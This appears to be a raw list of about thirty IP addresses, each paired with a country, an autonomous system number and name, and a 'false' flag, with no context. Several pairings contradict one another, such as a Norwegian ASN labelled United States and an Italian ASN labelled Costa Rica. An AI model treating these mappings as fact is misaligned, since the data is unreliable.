95.242.65.130
 unknown Italy
3269 ASN-IBSNAZIT false
214.144.85.140
 unknown United States
721 DNIC-ASBLK-00721-00726US false
35.137.67.123
 unknown United States
33363 BHN-33363US false
67.166.201.37
 unknown United States
7922 COMCAST-7922US false
212.143.122.14
 unknown Israel
1680 NV-ASNCELLCOMltdIL false
58.93.202.204
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
135.19.124.108
 unknown Canada
5769 VIDEOTRONCA false
113.224.60.152
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
6.9.139.234
 unknown United States
668 DNIC-AS-00668US false
118.161.106.146
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
219.168.2.210
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
179.63.191.159
 unknown Costa Rica
12779 ITGATEIT false
139.51.193.226
 unknown United States
14017 BNSF-ASUS false
220.35.208.156
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
200.120.246.28
 unknown Chile
22047 VTRBANDAANCHASACL false
102.37.200.197
 unknown South Africa
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
34.166.75.0
 unknown United States
2686 ATGS-MMD-ASUS false
67.170.16.136
 unknown United States
7922 COMCAST-7922US false
158.228.84.43
 unknown United States
46269 KRONOS-MAUS false
97.45.194.219
 unknown United States
22394 CELLCOUS false
158.253.175.114
 unknown United States
29695 ALTIBOX_ASNorwayNO false
185.220.66.211
 unknown Poland
198418 CELCOMPL false
112.19.237.254
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
82.249.237.173
 unknown France
12322 PROXADFR false
205.4.210.194
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
27.84.65.252
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
6.68.42.202
 unknown United States
1479 DNIC-ASBLK-01478-01479US false
21.4.17.83
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
220.118.107.226
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false